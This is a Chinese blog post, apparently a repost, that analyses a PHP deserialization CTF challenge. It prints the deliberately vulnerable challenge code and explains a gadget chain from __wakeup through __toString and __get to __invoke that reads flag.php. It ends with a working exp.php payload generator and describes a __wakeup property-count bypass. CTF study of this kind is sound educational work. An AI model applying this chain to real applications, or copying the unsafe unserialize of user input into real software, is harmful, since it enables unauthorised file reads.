一道反序列化题的分析
Posted 云影
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一道反序列化题的分析相关的知识,希望对你有一定的参考价值。
题目来源
来自于prontosil师傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more
分析
<?php error_reporting(1); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file=\'index.php\') { $this->source = $file; echo $this->source.\'Welcome\'."<br>"; } public function __toString() { $this->str[\'str\']->source; } public function _show() { if(preg_match(\'/gopher|http|ftp|https|dict|\\.\\.|flag|file/i\',$this->source)) { die(\'hacker\'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); } } if(isset($_GET[\'hello\'])) { unserialize($_GET[\'hello\']); } else { $show = new Show(\'index.php\'); $show->_show(); }
这篇文章是无意中手机上看到的文章,真的觉得这种构造链很有意思,所以自己分析了一波。跟这位师傅一样,可能一连串的链已经想好如何构造了,但是就是卡在最关键的一步,最开始的一步如何去调用__toString()呢。下面具体来分析,原文是有注释的,我这里删除了。还没看下文的师傅,自己分析一波看看,没必要直接看分析。
分析
最初始的第一步看需要输入的参数
如果存在hello字段输入就会反序列化操作,如果不存在就会new一个show类,构造方法初始index.php,在调用_show(),输出index.php文件
我们分析完最基础的一步,没什么用。主要是反序列化链的构造。
第一层
我们可以看到file_get(),目的就是调用Read类中的file_get读取到flag文件。
我们看到test类中的__get()和Read中的__invoke()的魔术方法
_get魔术方法: 当访问类中的私有属性或者是不存在的属性,触发__get魔术方法
__invoke魔术方法 : 当类的一个对象被当作函数调用的时候触发
这里就是要通过__get方法将$p赋值为new Read(),然后将Read作为函数调用就会触发__invoke方法,将$var赋值为flag地址就可以读到flag
那问题来了,如何去触发__get魔术方法呢。
第二层
在Show类中,还有一个__toString()魔术方法,当类作为字符串使用时触发__toString()
如果能触发__toString的话,就可以将str[\'str\'] new成Test类,调用source这样Test类不存在的属性时,就触发了__get魔术方法
但是问题又来了,谁来触发__toString()呢
第三层(难点)
第三层我一开始跟这位师傅一样,完全没有想到,__wakeup,之前做的题目一般都是需要绕过__wakeup,因为在反序列化一开始就会调用__wakeup魔术方法,所以一开始就把这个魔术方法作为需要bypass的东西,然后这却是我们最需要利用的最开始的一步。
原因在于preg_match会将$this->source作为字符串来使用,去执行匹配。
if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }
因而如果将 source赋值一个new Show类的话,在反序列化一开始调用__wakeup,preg_match触发__toString。这样就达成了上述的条件。
完整的链
preg_match()->__tostring()->__get()->invoke()
exp
这里自己分析完写了一个exp.php
<?php class Read { public $var="flag.php"; } class Show { public $source; public $str; } class Test { public $p; } $a=new Show(); $a->source=$a; //触发__toString $a->str[\'str\']=new Test(); $a->str[\'str\']->p=new Read(); echo serialize($a);
本地phpstudy搭建了一个环境
base64解码得到flag
对于写这篇文章师傅后期分析的绕过__wakeup方法,只要序列化字符串中属性个数大于本身的类的属性个数即可绕过,以前在哪个比赛中已经用过这个绕过。一时想不起来,以至于我一开始看到__wakeup,就觉得需要绕过,而不是去利用。
以上是关于一道反序列化题的分析的主要内容,如果未能解决你的问题,请参考以下文章